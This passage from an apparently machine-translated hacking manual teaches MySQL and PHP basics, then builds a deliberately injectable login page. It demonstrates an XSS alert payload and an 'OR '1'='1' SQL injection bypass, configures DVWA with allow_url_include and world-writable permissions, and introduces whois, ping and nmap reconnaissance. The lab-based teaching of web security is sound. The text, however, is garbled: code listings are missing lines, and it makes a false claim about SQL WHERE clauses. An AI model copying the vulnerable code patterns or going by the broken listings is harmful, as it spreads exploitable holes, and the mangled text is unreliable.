3.6.4 Our first database

In this chapter we will see how to create a database, prepare tables and structure them in
order to be useful for performing various operations within the web application.
Operating from the Terminal is possible connect to the DBMS through the previously installed
mysql client:
$ mysql -u root -p
Creating a database is a simple operation. Just run the command:

mysql> CREATE DATABASE forum;
where is it forum will be the name of the database. By running the command (query) you will be able to understand that
everything went according to plan as the DBMS will respond with:
Query OK, 1 row affected (0.00 sec)
If you answer ERROR ... check that there are no grammar errors or forgetfulness (especially
beware of quotes and semicolons)
At this point it would be appropriate create a user within the DBMS capable of working within
the Database. Using the root account to operate in the DB would be too high a risk and not
advisable under any circumstances:
mysql> CREATE USER 'user' @ 'localhost' IDENTIFIED BY 'passw0rd' ;
In this example we have created the user "user", able to work within localhost, with the
password "passw0rd". It is time to tell the DBMS that it has permissions to work within our
Database:
mysql> GRANT ALL PRIVILEGES ON forum. * To 'user' @ 'localhost';
At this point we can regenerate the permissions, then exit the mysql client:
mysql> FLUSH PRIVILEGES;
mysql> quit
3.6.5 phpMyAdmin, the friend of the Databases

Operating in a Database through the Terminal can be quite frustrating, especially for those who
are not used to using it night and day: to overcome this problem we are met phpMyAdmin, one
of the many graphical interfaces that allow us to work within a DBMS without going crazy
among the thousand functions that must be remembered.
One of the advantages of phpMyAdmin is that it is omnipresent in almost all hosting 36 ( Linux-based):
this means that, when the time comes to talk about external hosting, we will most likely find
phpMyAdmin already pre-installed. At the moment, however, it is not present in our Operating
System, so let's install it with the command:
$ apt install phpmyadmin
We will be asked to enter a password (or to have one generated) with which the phpmyadmin
account to be associated with the DBMS will be created; secondly we will be asked if we want
to configure the phpmyadmin database with dbconfig-common: also in this case we choose
<Yes> [ENTER]. The GUI will now be available at http: // victim / phpmyadmin [Figure
3.8].
Figure 3.8: phpMyAdmin login screen
Let's log in with the account created in the previous chapter (in our case user and passw0rd)
and we will be referenced in the initial dashboard [Figure
3.9].
Figure 3.9: initial phpMyAdmin dashboard

3.6.5.1 CREATION OF A TABLE
The purpose of this chapter is to create a small database that can work with a web application
designed by us, and then understand how this can be violated.
From phpMyAdmin we select the database forum ( in the left column), then in tab Structure ( button
at the top) we will be informed that there are no tables, proposing to create one. Fill out the
form indicating the name ( users) and the number of columns ( 5) [ Figure 3.10].
Figure 3.10: let's create our first table in phpMyAdmin
We will now recreate the structure of the table seen previously, which I report for convenience:
Table: users
From the form for creating a table we will fill in as follows (if you have doubts refer to Figure
3.11), then remember to save the changes with the key Save ( on the far right). We will explain
the meanings of Type
is Length / Values, for now, follow the scheme to the letter:
Name Type Length / Values Index A_I
id INT 11 PRIMARY X
username VARCHAR 16
password VARCHAR 32
e-mail VARCHAR 64
years INT 3
Remember that the first field (id) must be an auto-incremental primary key (in phpMyAdmin the
field is A_I): in any case, by checking the A_I checkbox, the client will automatically
recommend a Primary type Index.
Figure 3.11: this is how the form should be filled when creating the table
After filling out the form, click on Save at the bottom and we will be catapulted into the
summary of the newly created table [Figure 3.12].
Figure 3.12: a summary of the table and the structure will follow after the creation of the form
created in it
3.6.5.2 MANIPULATING THE VALUES

In the previous chapter we saw how to create a table and, consequently, how to prepare the
"structure" of a database indicating which columns to create. In this part of the text we will
instead see how to insert, modify and delete values from a database.
First make sure you are inside the users table. To do this, just look in the gray bar at the top, it
must be like this:
Server: localhost: 3306 »Database: forum» Table: users
If this is not the case, click on "users" in the "forum" database in the menu on the left of the
page.
In our case we are interested in creating a row with specific values, then click on the "Insert"
tab at the top and fill in the Values as follows [Figure
3.13]:
id (EMPTY)
username admin
password h4ckl0g% 21
e-mail admin@hacklog.it
years 28
Figure 3.13: form for entering a value in the users table
PhpMyAdmin will notify us of the successful execution; we can verify the positive outcome by
clicking on the tab Browse above, where we will be brought back to the list of rows in the table users
( Figure 3.14).
Figure 3.14: the list of newly created users in our database
Note how the id field will assume, without us having said anything, the value 1: let's feel free to
create new values (without ever specifying the id), if the structure is correct the subsequent
ids will increase each time by one unit (2 , 3,4 and so on). Next to each line (in our case only
one) there will be three icons, respectively: Edit - Copy - Delete; each of them will allow us to
perform the related action.
3.6.6 The SQL language

As we have seen interacting with an SQL database is possible both with a graphical GUI and
with the SQL language. This language is essential for anyone who has thought at least once
in their life: "I want to punch a website".
SQL (acronym for Structured Query Language) is a language with which it is possible to
control relational databases: for example, we can add new values or delete them, search
within a row, see how many there are in a table and so on, exactly as we can do from
phpMyAdmin.
The advantage of knowing how to command in SQL is the ability to work on an infinite number
of DBMSs and therefore not to depend on any client; moreover, as we will see later, it will be
essential to know how to use it to extrapolate data following a violation of a web portal.
Fortunately, SQL is a language really simple to be used: it is in fact represented by commonly

used English terms and each action (in jargon "query") corresponds to a complete meaningful
sentence. Take for example the SELECT query, one of the most popular in this language:
SELECT username FROM users WHERE username = 'admin';
which translated is practically:

SELECT the username FROM THE TABALLE users WHOSE username IT'S EQUAL TO ' admin ';
The database will reply with one or more results if:
1) The table exists users
2) The column exists username
3) There is at least one line whose username It's equal to admin
3.6.6.1 SURVIVE IN SQL

As already mentioned, this is not intended and cannot be a complete guide to SQL, but rather
an intensive course on those four or five few things to know to get started in your projects.
Here then we are going to see only some of the SQL functions present, trying to get used to
the logic that most you will find yourself facing in the path of web security. Let's review how a
SELECT query is composed:
SELECT < column> FROM < table> WHERE < condition>
Let's try to run a query on our phpMyAdmin: select the database ( forum) from the menu on the
left, then click on the SQL tab at the top and enter the following query, then confirm with the
key Go bottom right:
SELECT username FROM users WHERE username = 'admin';
A small table will appear in the center of the page (Figure 3.15).
Figure 3.15: launching the query we will get the results indicated in the condition after the WHERE
If we want to display more columns, just specify them, separating them with a comma:
SELECT username, password, email FROM users WHERE

username = 'admin';
In some tables there may be hundreds of columns and it would be impossible to remember
them all! Here then we can use the asterisk (*) wildcard character; in this way we will be able to
view all the fields:
SELECT * FROM users WHERE username = 'admin';
In a SELECT type query it is possible to apply a condition to a column only if it is present after
the SELECT function. For example, if we launch the following query, the DBMS will give an
error:
SELECT username FROM users WHERE password = 'passw0rd';
In these cases we will be forced to recall the password field as follows:
SELECT username, password FROM users WHERE

password = 'passw0rd';
In addition to SELECT, there are other functions. In particular, three emerge that allow you to
work in the tables:
UPDATE, which allows you to edit a row
INSERT, which allows you to add a row
DELETE, which allows you to delete a row
Specifically, there is a structure to follow for each query. Let's see them together:
QUERY "INSERT"
Action SQLQuery
Insert a row containing the values: INSERT INTO users

username = "stefano" (username, password, email, years)
password = "123456" VALUES
email = " s.novelli@inforge.net " ("stefano", "123456", " s.novelli@inforge.net ", 26);
years = 26
In this case we consider that a row with primary key (id) 5 is created.
"UPDATE" QUERY
Action SQLQuery
Change a line, such as the password and UPDATE users

years of the newly created user SET password = 'QWErty04', years = 25 WHERE id = 5;
In this circumstance we notice how the id is specified instead of the username; in this way we
are sure to modify that line.
"DELETE" QUERY
Action SQLQuery
Delete a row, such as the one recently DELETE FROM users

created WHERE id = 5;
Doing so will delete the newly created row forever, without the possibility of recovering it. Always
remember the WHERE condition: if you don't specify it you will delete all the rows of the table!
Obviously there are many other functions including: DROP ( to delete entire tables!), REPLACE,
RENAME, ALTER, SHOW,
CREATE, OPTIMIZE and so on. These and other features are well documented at
https://www.w3schools.com/sql/
As you can see, each query has its own structure: unfortunately there is no standard "schema",
so you will have to remember them (or google them!).
3.6.6.2 CONDITIONS IN SQL

What happens when we want to check if a query meets multiple conditions? In fact, until now
we have seen that:
SELECT < column> FROM < table> WHERE < condition>
In programming, however, it may be useful to check not one but more conditions, for example:
SELECT < column> FROM < table>
WHERE < condition> AND < condition>
The operator AND, in this case, it will report a result only if both conditions are met, for
example:
SELECT * FROM users
WHERE username = 'stefano' AND password = '123456'
In the same way we can check if only one of the two conditions is true:
SELECT < column> FROM < table>
WHERE < condition> OR < condition>
The OR operator therefore allows us to obtain a result if one of the two conditions is true:
SELECT * FROM users
WHERE username = 'stefano' OR password = 'h4ckl0g% 21'
3.6.6.3 TYPES OF VALUES IN SQL

If you have been careful you will have noticed that, on certain occasions, the values after the equal
(=) are always specified in quotes, while on others they are not. Let's review the previous UPDATE
query for a moment:
UPDATE users SET password = 'QWErty04', years = 25 WHERE id = 5;
In this case the password must be in 'quotes' or "quotes" (in this

case makes no difference), while this is not necessary for years is id. The reason?
If you remember when we created the table, and consequently created the structure that
composes it, we specified the value for some columns
VARCHAR, to others the value INT:
Name Type Length / Values Index A_I
id INT 11 PRIMARY X
username VARCHAR 16
password VARCHAR 32
e-mail VARCHAR 64
years INT 2
As in PHP and Javascript, in SQL it is necessary to put strings in quotes to avoid confusing
them with numbers and all the other elements that are used in programming. Remember this
concept well, you will find it very often in the following pages.
VARCHAR is INT there are two types, among the many available, which in SQL allow us to
determine the types of value that in that column are allowed: with VARCHAR we can make any
character ( VARCHAR, " variable character set ") while with INT we can make it contain only
integers ( INT, " integers ").
Each type of value in turn requires (almost) always one maximum length allowed: in our case
we said a id not to exceed 11 characters maximum. This doesn't mean that id it must be less
than 11, but it cannot have more than 11 characters (therefore, it will reach a maximum of
99,999,999,999 values); likewise the username it cannot have more than 16 characters, the password
32 and so on ...
3.6.7 PHP and Databases, the perfect combo

PHP can safely connect to MariaDB; there are two different approaches
- MySQLi and PDO - adapted to the way PHP can be programmed - procedural or
object-oriented. In our case we will use the MySQLi method, as it is more consistent with what we
have seen.
Let's go back to our mini-application written in PHP. If you don't remember the editor opens with the
command:
$ nano login.php
and let's modify it with the following code (we will only modify the PHP part, so that starts with
<? php and ends with?>).
At this point things may seem more complicated for the amount of code that I am about to show
you: take a breath, reread carefully what is written, analyze line by line what I will explain, search
the net if something is not clear to you and then come back calmly. I will comment on each line of
code: you will find, as already explained, the comments in these two formats [Code 3.23]:
Code 3.23
<? php
// Single line comment / * Multi line comment * /
?>
This is a crucial part of understanding vulnerabilities in a web application - don't give up right
now, after all the way you've come to get here! It will take some patience, read the comments
calmly and try to understand why it works this way. Are you ready? Come on, let's get started
[Code 3.24]! 37
Code 3.24
<html>
<body>
<? php
// Start collecting sessions
session_start ();
// Check if query-string is present
"password"
{
// I create the $ password variable
// I connect to the forum database
$ conn = @mysqli_connect ( 'localhost' ,
'user' , 'passw0rd' , 'forum' );
// If the connection fails
if (! $ conn)
{
// Close all
die ( "Can not connect
to the Database " );
}
// I create the $ sql variable with the query
$ sql = "SELECT username, password FROM
users WHERE password = '$ password' " ;
// I execute the query in the database
$ query = mysqli_query ($ conn, $ sql);
// I collect all the query values
while ($ row =
mysqli_fetch_array ($ query))
{
/ * I create the $ username variable
which will contain the "username" value found in the database
*/
$ username = $ row [ 'username' ];
// I create the session
$ _SESSION [ 'session_name' ] =
$ username;
}
// Close the connection to the Database
mysqli_close ($ conn);
// Print $ password, then return (<br
/>)
echo ( "You typed:" . $ password. "<br />" ); }
// If the session exists

if ( isset ($ _SESSION [ 'session_name' ]))
{
// I print the username on the screen
echo ("Your username is:". $ _SESSION
['session_name']);
} else {
echo ( "You didn't specify
no valid pass " );
}
?>
<form name = "login " method = "post"
<input type = "p assword " name = "password" />
<input type = "s ubmit " value = "Login" />
</form>
</body>
</html>
We fill in the input with one of the passwords saved in the database and the web application
will respond with our username (Figure 3.16).
Figure 3.16: by inserting one of the passwords present in the database we will be recognized as users. Also, if you refresh the page,
there will be no need to redo the page
login.
3.7 Your first hack

The programming study is finished (you can pop a nice beer if you want to celebrate!) However
what you have had the opportunity to test is only a very small portion of the wonderful world
surrounding web programming.
Within our code there are several vulnerabilities: we know this because ... well, we developed
it! Of those present we will see two types of attack in particular (perhaps closed this document
you will want to come back here and try to look for others), very simple to perform and which
requires the knowledge you have just learned.
Arbitrary Javascript code

In this example we will see how to exploit a flaw in PHP code to execute arbitrary Javascript
code: although it does not effectively demonstrate the danger of the vulnerability, it is enough
to understand where the danger arises (we will see the risks later).
Remember the input password? I refer to this [Code 3.25]:
Code 3.25
<input type = "password" name = "password" />

As you will remember its value is passed in POST, then saved in a variable [Code 3.26]:
Code 3.26
<? php
to be printed [Code 3.27]:

Code 3.27
<? php
echo ( "You typed:" . $ password . "<br />" );
But what if, instead of a password in the input ... we put Javascript code [Code 3.28]?
Code 3.28
<script> alert ( 'This website has been hacked!' ); </script>
The web server will show what we have typed on our browser! This happens because what we
insert in the input is saved in the $ password variable, so it is printed on the screen. The web
application will then interpret everything as follows [Code 3.29]:
Code 3.29
<? php
$ password = "<script> alert ('Hello, hax0r!') </script>" ; echo ( "You typed:" . $ password . "<br
/>" );
By making the Javascript code appear inside the source code of the page: you can try using
the Element Analyzer yourself by searching for the infected piece of code (Figure 3.17).
Figure 3.17: inserting Javascript code in the Input will cause the execution of the same.
This vulnerability, in IT Security, is called XSS (Cross Site Scripting) and can cause even
serious damage to a web portal. We will talk about it very calmly later.
Arbitrary SQL code

In the wake of the previous example, let's take the code portion [Code
3.30]:
Code 3.30
<? php
As you will remember the password is not only printed but also used for
perform a query [Code 3.31]:
Code 3.31
<? php
$ sql = "SELECT username, password FROM users WHERE password = '$ password'"
If we wrote foo in the input obviously the query would be:

SELECT username, password FROM users WHERE password = ' Foo';
If we wrote ASDrubale! it would be:

SELECT username, password FROM users WHERE password = ' ASDrubal! ';
Now, do you remember what I told you about the apostrophe? Used to open and close a string,
right? If we used an apostrophe instead of the string, what follows would become full-fledged
SQL, right?
Let me explain: if I wrote something like 'CODICESQL' in the input, the resulting result would
be:
SELECT username, password FROM users WHERE password = '' CODICESQL
'';
So if we inserted in the input of the SQL code preceded by the apostrophe (') as the following:
'OR' 1 '=' 1
The query result would be [Figure 3.18]:

SELECT username, password FROM users WHERE password = '' OR
'1' = '1';
The query makes use of the OR operator which, as we have seen, allows you to resolve a
query if one of the two conditions is true: since '1' is always equal to '1', the query will return a
true result.
Figure 3.18: We have been recognized as database users without knowing the database
password! Wonderful, isn't it?
This very dangerous vulnerability allows you to log in as any user, execute SQL code directly
on the browser or delete the database with a single command: its name is SQL Injection and
we will talk about it later.
3.8 CMS
With the advancement of websites it became necessary to develop software that would allow
the web master to deal only with the content part, thus leaving the arduous task of making
things work to the web application. The need to have a login system with possible control
panels, the management of articles or pages, the creation of menus and everything we are
used to for the administration of a portal is now entrusted to a CMS.
A CMS (more specifically Web Cms, Web Content Management System) it is therefore
composed of the set of technologies seen previously. Eg Wordpress, the most popular among
the CMS in circulation (which will also be the subject of our analysis in the Security part) is
mainly composed of:
Code Back-End, able to cover most of a user's needs, including plugin and template
management; furthermore, the PHP code makes the first connection to the Database and
creates the entire structure from which it will then draw on the information and allow the
modification, insertion and deletion
Code Front-End, covering in full all the part of the user experience on the administration side
and providing a template (base) for the client side experience through HTML, CSS and
Javascript code
Installing a CMS is often straightforward and comes with relative
documentation, however the most common procedure is the following:
1) Upload the files provided by the manufacturer's website in the folder (or sub-folder) of the
web server; in a situation with Hosting, the files will be uploaded to the reserved space
using the appropriate program (FileZilla, Cyberduck etc ..) with the most appropriate
protocol (SFTP / FTPS or the oldest FTP)
2) The database that will contain the site information is created manually 38
3) The configuration procedure starts; this is always entrusted to PHP which will write the
coordinates for the connection to the database in a file
4) The CMS will then verify that all dependencies are satisfied, then it will write the structure
and rows necessary for the first operation in the database
Through the web management panels offered by the hosting (eg: CPanel, Plesk, Webmin,
DirectAdmin etc ...) it is possible to control the installation of a CMS through a simpler one-click
installation procedure. These functions are not always present (as extensions); the most
popular are Installatron, Fantastico, Softaculous, SimpleScripts etc ...
CMSs have acquired enormous popularity, so much so that they respond to sector needs; are
available in various forms of distribution (opensource, free, hosted or paid) such as:
General: the all-round CMS, which offer a base and then be expandable thanks to the use of
third-party addons. The most popular example is of course
Wordpress ( although it started out as a CMS for blogging) but there is an excellent response from the
public for Joomla, Drupal, Jekyll, Grav and many others
Blogging: are CMS born to host blogs. Wordpress was once just a blogging CMS, now
converted to general. Other CMS of this type are Ghost, TYPO3 etc ...
Ecommerce: CMS designed for online purchase, in this category we find Prestashop,
Magento, osCommerce etc ...
Forum: also called FMS (Forum Management System) are specific for the creation of
discussion boards. The most popular are: vBulletin,
Xenforo, phpBB, myBB, Burning Board, Flarum, Simple Machines Forum, nodeBB, IPBoard etc
...
As we will discover later, the use of a CMS greatly facilitates the task of setting up a web
portal, however it can leave the web portal exposed to attacks from various entities.
3.8.1 Damn Vulnerable Web Application (DVWA)

Throughout this volume we will study some vulnerabilities through DVWA, a CMS specifically
designed to perform vulnerability tests against a web application. This web app is the same as
in our WHLAB 39 and you can safely use it in this situation if you have trouble setting up DVWA.
3.8.1.1 DOWNLOAD DVWA

This volume refers to DVWA version 1.10. Any minor versions may not have all the functions
present here. Also note that the metasploitable machine will also have DVWA (version 1.07)
installed, along with other vulnerable CMSs. Once you have learned all the knowledge of this
volume, you can attack any CMS provided by metasploitable.
We conclude the preparation of the attack environment by downloading DVWA from the official
website inside the web server folder on the machine victim :
$ wget https://github.com/ethicalhack3r/DVWA/archive/master.zip
$ unzip master.zip
$ mv DVWA-master vuln
$ rm master.zip
By connecting to the address http: // victim / vuln from the machine attacker
we will receive the error:
DVWA System error - config file not found. Copy

config / config.inc.php.dist to config / config.inc.php and configure to your environment.
The time has come to configure the CMS and make it work for everyone
effects.
3.8.1.2 CONFIGURE DVWA

The configuration consists in linking the files just downloaded to a database that we need to
create; the coordinates of a configuration (as in almost all CMS) are executed from a file called
config:
$ cd vuln
$ cp config / config.inc.php.dist config / config.inc.php
Before configuring the file we create a new database in which we will save the DVWA information: the
commands are the same as in chapter 3.6.4 but for convenience we will review them:
$ mysql -u root -p
> CREATE DATABASE dvwa;
> GRANT ALL PRIVILEGES ON dvwa. * To 'user' @ 'localhost';
> FLUSH PRIVILEGES;
> quit;
We recommend Moreover of configure a reCAPTCHA

(http://google.com/recaptcha) assigning it the "victim" domain and copying the keys (we will use them
later) [Figure 3.19] [Figure 3.20]:
Figure 3.19: Add the "victim" domain otherwise reCAPTCHA will refuse to work
Figure 3.20: from the reCAPTCHA site we generate two keys (public and private) that we will go to
to insert in the configuration file.
At this point we can modify the previously created file:

$ nano config / config.inc.php
We find the configuration lines in the file and replace them with the coordinates in our possession:
$ _DVWA ['db_server'] = '127.0.0.1';
$ _DVWA ['db_database'] = 'dvwa'; $ _DVWA ['db_user']
= 'user';
$ _DVWA ['db_password'] = 'passw0rd';
To be sure, refer to the screen in [Figure 3.21].
Figure 3.21: Make your changes, then save with CTRL + X, S and ENTER.
If we have created the reCAPTCHA keys, let's add them in the following
portion [Figure 3.22]:
$ _DVWA ['recaptcha_public_key'] = '6Lcyqc0SAAA
*******************';
$ _DVWA ['recaptcha_private_key'] = '6Lcyqc0SAAAAAH

****************';
Figure 3.22: Please note, public key and private key are two different things!
Let's save and reconnect from the machine attacker at the address
http: // victim / vuln [Figure 3.23]:
Figure 3.23: if everything has been done correctly we will get the main login page.
3.8.1.3 INSTALL DVWA

Any data entered in the login will not produce any results: the reason is that the CMS has yet
to be installed! We will be catapulted into a page
(http: //victim/vuln/setup.php) where there is a README and some basic requirements not
obtained [Figure 3.24].
Figure 3.24: This page lists a few things to do before you can continue.
Let's proceed to enable some functions to make the situation a little more interesting :)
Enable PHP functions

In our case it is necessary to enable only "allow_url_include" but this does not mean that some
setups also have other modules disabled: to enable them you need to modify the file / etc / php
/ {PHP version} /apache2/php.ini setting the value to On as in this case:
$ nano /etc/php/7.0/apache2/php.ini
We identify "allow_url_include" in the file (you can use the combination CTRL + W to search
the file) and set the value to On [Figure 3.25]:
Figure 3.25: Search for the value with CTRL + W, then save the file with CTRL + X, S and ENTER.
We restart the Apache2 web server:

Set permissions to folders and files

To take advantage of all the features, we set permissions to allow writing to the program:
$ chmod -R -f 777 / var / www / html / vuln / hackable / uploads /
$ chmod 777
/var/www/html/vuln/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
$ chmod -R -f 777 / var / www / html / vuln / config
Enable the Whitelist

It is not really wise to put a vulnerable web app on the net, ready to be pierced by anyone, isn't
it? We can then modify the file
. htaccess and indicate only which IPs can connect to the portal:
$ nano .htaccess
then we identify " Limit access to localhost ", we uncomment all the lines by removing the
asterisks and adding to the item " allow from " the IP address of the attacker machine [Figure
3.26]:
# Limit access to localhost
<Limit GET POST PUT> order deny,
allow
deny from all
allow from 127.0.0.1, 20.0.0.2 </Limit>
Figure 3.26: we remove the asterisks, we add the ip 20.0.0.2 then we save with
CTRL + X, S and ENTER.
Start the DVWA setup

Once the configuration is finished, we can install the CMS using the " Create / Reset Database "
At bottom. We will be redirected to the login page, where it all begins.
Facing the various tests
Later in this manual we will deal with all the LABs present in the menu on the left of DVWA. The
test environment offers three levels of difficulty that can be tackled [Figure 3.27]:
Low: there are no script security checks. Such situations are practically absent on the web
and serve only to illustrate the basis of the vulnerability under study.
Medium: there are mild security checks on the script. Such situations are rare to find online
and demonstrate any distractions of the inexperienced programmer, usually fixed in a short
time.
High: There are security controls close to the correct mitigation models but still contain
vulnerabilities to exploit. Such situations are
frequently found on the net in new production projects, not adequately tested. The
vulnerabilities are similar to what can be found in CTF (Capture the Flag) competitions.
Impossible: there are security checks that make known attacks ineffective. Such situations
are most popular in mature projects or adopted by development frameworks. In this situation
it is not possible to study attack models only the defenses of a system.
Also you can use a IDS (Intrusion Detection System): IDS is a defense system that is able to
sanitize malicious inputs in the web app, regardless of whether or not there are written controls
by the programmer. The presence of an IDS is a topic that requires a certain knowledge of the
limits that the latter has, especially with regard to the presence of false positives: we therefore
recommend that the reader, once the skills on the various levels have been learned, to carry
out the tests with the PHPIDS 40 active, therefore to evaluate the behaviors of DVWA.
Figure 3.27: It is important to know how to configure DVWA, otherwise we will not be able to study the
vulnerabilities and effectively test them.
Aid and Source Code
DVWA offers within each LAB and level a short documentation and the reading of the test
source code directly on the page where you are [Figure 3.28]. In this manual only the parts of
the code involved will be highlighted, while the tips that are only mentioned in the test
environment will be extensively described.
Figure 3.28: for each level you can reread the source code and the
tips to overcome them.
3.9 Beyond the fundamentals

All we have seen is actually a very small part of what is present in the World Wide Web. We
could have talked about it endlessly (technology never stops!) But we limited ourselves to
seeing only what allows us to work at 90 % of what you will find on the net and to carry out
your attacks without going blind.
In web programming, as in real life, everyone is free to design the software as they see fit. It is
therefore important to remember that:
Not everyone uses a server with Linux
Not everyone designs their backends in PHP
Not everyone uses SQL diligently to save their data
These three points, taken individually, should already be deepened in other as many volumes;
moreover, the fundamentals explained would not be enough to cover the "marginal" attacks that
can be made. The Web is a whole world to discover and you are in it!
4. SCAN (INFORMATION
GATHERING)
Sun Tzu said in the Art of War: "If you know the enemy and yourself, your victory is certain."
After 2,500 years, things have not changed. Likewise, before taking control of a computer /
server, the cyber-criminal knows that he needs to know every single aspect of his target inside
out. This can be considered to all intents and purposes as the first phase of a cyber attack and
is called Profiling ( Profiling, but also Scanning) of an even bigger universe: the Information
Gathering
(information gathering).
Imagine the violation of a computer network like the robbery in a bank: the thieves, before
taking up arms and recovering the loot, will take care to gather all the information on their
target: that is, they have an inventory of cameras, guards, alarm systems and anything that
can keep them away from stolen goods (and jail!) by studying each part, evaluating the risks
and possible solutions.
Profiling is the digital variant of this phenomenon: in this process all the phases of information
retrieval of a target are contained that allow the cybercriminal (from this moment attacker) to
penetrate the victim system, evaluating the means available to him for resolution any problems
in progress.
Ignoring this step, the attacker is unable to have a clear vision of all the roads that would lead
him to his end, thus limiting himself to opening some exploiting tools until he gives up;
moreover, the attacker who ignores this phase would risk making fatal mistakes and thus
compromising the attack or, in the worst case, his identity.
4.1 Domain
The study of the target will start from the domain. In this chapter we will not see how to attack it
(chapter 5) but how to extract information from it.
The domain on the Web is represented by at least two elements, the 1st and 2nd level domain.
Eg:
As you can guess, 2nd level is the name you choose during registration, while 1st level (also
called TLD, top-level domain) identifies (in theory):
the kind of the portal, for example .org refers to an organization while .com refers to a
commercial activity, .net to a network and so on. These are called ccTLDs (country-code
top-level domain)
there territorial lease, for example .it indicates that the portal is Italian, .eu for the European Union,
.ch for Switzerland and so on
These, however, are just conventions and are often ignored. In addition, you will often find
yourself dealing with domains facing the WWW: although its usefulness has been cleared,
some prefer to keep it. In our examples we will use the www to show that we are dealing with
web domains.
It is not uncommon to come across 3rd level domains, also called subdomains: these can
mean that the hosting in which the site is present can be part of a "sub-structure", where the
site is contained in something larger. eg:
It is possible to come across these versions when the site is hosted 41 in a free web space or
when it is part of a larger organization or association (for example a forum, so the domain will
be forum.example.com).
It is also possible to come across domains of higher levels (4th, 5th, 6th and so on) however
these are choices that the system administrator makes in the design phase and do not fall within
a well-defined standard.
4.1.1 Whois Domain

Among the basic profiling tests that a cyber-criminal can carry out against a domain is the
WHOIS Lookup. The Whois consists of a series of information regarding the domain, in
particular:
The registration date, the latest update and the deadline
The owner of the domain, often provided with the residence coordinates. telephone and
other numbers of the individual or organization
Information about the administrator and technical managers
The registrar, which is the company that registered the domain name
Nameservers, which are the DNS servers that resolve domains into IP addresses
NB: the recent introduction of the GDPR (European privacy legislation) has severely limited the
disclosure of private information. At present, whois is effective only for domains owned by
companies or holders that do not reside in the European Union.
Attack: Whois to the Domain

DEMO simulation; Tool: whois
There are several programs with graphic interface and websites to do this, however I would
recommend the very convenient Terminal command 42 whois. You can install it - if not present -
with the command:
$ apt install whois
then launched with:

$ whois <domainname>
Why not run the command with an existing domain? (maybe one in your possession) for
example:
$ whois linux.org
will report the following result:

Domain Name: LINUX.ORG
Registry Domain ID: D2338975-LROR
Registrar WHOIS Server: whois.networksolutions.com Registrar URL:
http://www.networksolutions.com
Updated Date: 2018-01-12T05: 11: 02Z
Creation Date: 1994-05-10T04: 00: 00Z
Registry Expiry Date: 2018-05-11T04: 00: 00Z Registrar Registration
Expiration Date: Registrar: Network Solutions, LLC
Registrar IANA ID: 2
Registrar Abuse Contact Email: abuse@web.com Registrar Abuse Contact
Phone: +1.8003337680 Reseller:
Domain Status: ok https://icann.org/epp#ok Registry Registrant ID:
C201190132-LROR
Registrant Name: Linux Online, Inc Linux Online, Inc Registrant Organization: Linux Online, Inc
Registrant Street: 314 FRANKLIN ST APT 2
Registrant City: OGDENSBURG
Registrant State / Province: NY
Registrant Postal Code: 13669-1689 Registrant Country: US
Registrant Phone: +1.3153931978

...
Whois requests can also be made to IP addresses! Just substitute it for the domain as seen in
the previous example to get information on the farm that provides the web space!
If you prefer you can make requests from specialized websites. I will list a few for
completeness:
- https://www.whois.net
- https://www.whois.com/whois/
- https://whois.icann.org/en
- http://www.register.com/whois.rcmx
- https://www.mydomain.com/whois/whois.bml
- http://web-whois.nic.it
- http://whois.domaintools.com
- https://who.is
For special TLD requests (especially geographic or new generation ones) I suggest you search
on a search engine ("whois .tld").
Defence: Whois Domain

DVWA simulation
Every time a domain is registered, the Registrar - the company that deals with registering the
aforementioned domain on behalf of someone - must communicate the registration data and make
them public. 43 . However, the domain owner, in order to avoid being subjected to spam attacks or
serious privacy violations,
can decide to obscure personal data from the public; that function often
it is sold as an additional package by the Registrar - which is usually also the company that
sells the Hosting - and can only be applied to generic domains (.com, .net etc ...) while
territorial domains are excluded ( .it, .de, .eu. and etc ...); in certain cases, however, the
Registrar may decide to obscure some sensitive information, upon request.
The whois will then respond to the request by providing the procedure for contacting the portal
manager, without however exposing his data to the public.
Let's see the following example:
$ whois inforge.net
which will respond with the following result:

Domain Name: INFORGE.NET
Registry Domain ID: 1621737603_DOMAIN_NET-VRSN Registrar WHOIS Server:
whois.internet.bs Registrar URL: http://www.internet.bs
Updated Date: 2017-10-31T23: 51: 11Z
Creation Date: 2010-10-22T19: 07: 48Z
Registry Expiry Date: 2023-10-22T19: 07: 48Z Registrar: Internet Domain
Service BS Corp Registrar IANA ID: 2487
The Whois Privacy can also report additional information on contact methods for domain
owners: these are usually used when there are serious violations on the portal and it is
intended to contact the site managers before starting any legal procedures.
4.2 The IP address

The IP is a fundamental piece of information that determines the virtual address of a machine on
the web: knowing it allows us to know where the site physically resides and, in all probability, it
has fewer defense mechanisms (eg: Reverse Proxy).
4.2.1 ICMP Echo

In computer science, ping is the universally accepted method of understanding if a host
responds to a request and in how long. The basic form is to send an ICMP type packet, if the
server is available, it will reply in turn. Usually Ping Sweep is the first approach to consider
when trying to get the machine's IP address.
Attack: Ping Sweep

DEMO simulation; Tool: ping
The ping program is pre-installed in any existing Operating System, therefore Windows,
macOS and GNU / Linux. You can perform a ping by simply typing:
$ ping localhost
The system will respond with:
PING localhost (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq = 0 ttl = 64 time = 0.051 ms 64 bytes from 127.0.0.1: icmp_seq = 1
ttl = 64 time = 0.076 ms 64 bytes from 127.0.0.1: icmp_seq = 2 ttl = 64 time = 0.074 ms
What we need to know in this case is the IP address that responds to our request. Being
localhost obviously the IP address will be 127.0.0.1.
Defence: Ping Sweep
DVWA simulation
It is possible to mitigate the Ping Sweep through specific rules in iptables on GNU / Linux: the
block would, however, be useless, both for the low danger, and because there are far more
effective methods to disguise the IP (which we will see in chapter 4.3 dedicated to Intermediate
Infrastructures ). Therefore, we do not recommend disabling the ability to ping the victim
machine.
4.2.2 ARP and TCP

The Ping approach seen previously consists (usually) of a question and answer mechanism
through the ICMP protocol 44 ; if this is not possible, the problem can be solved by performing an
ARP ping and, if ports 80 and 443 are active, also TCP requests.
It should be noted that the use of Nmap could alarm some IDS (Intrusion Detection System),
therefore its use should be limited only in cases where it is not possible to do otherwise.
Attack: Ping ARP and TCP

DEMO simulation; Tool: nmap
To perform this test you need to install nmap, an all-round tool available in any GNU / Linux
distribution, which we will use for many other tests. We therefore recommend installing it
immediately with the command:
$ apt install nmap
We then launch the command as follows:

$ nmap -sn -PE hacklog.it
Below we explain the meaning of the parameters:
- sn: allows you to make TCP (null) requests
- PE: allows you to make ICMP echo requests
It is possible to ignore the resolution of MAC Addresses (if yes

want to verify an IP in a local network) via the - send-ip parameter. It is also possible to use the
ICMP Address Mask (-PM) and TIMESTAMP (-PP) parameters if the host ignores ICMP ECHO
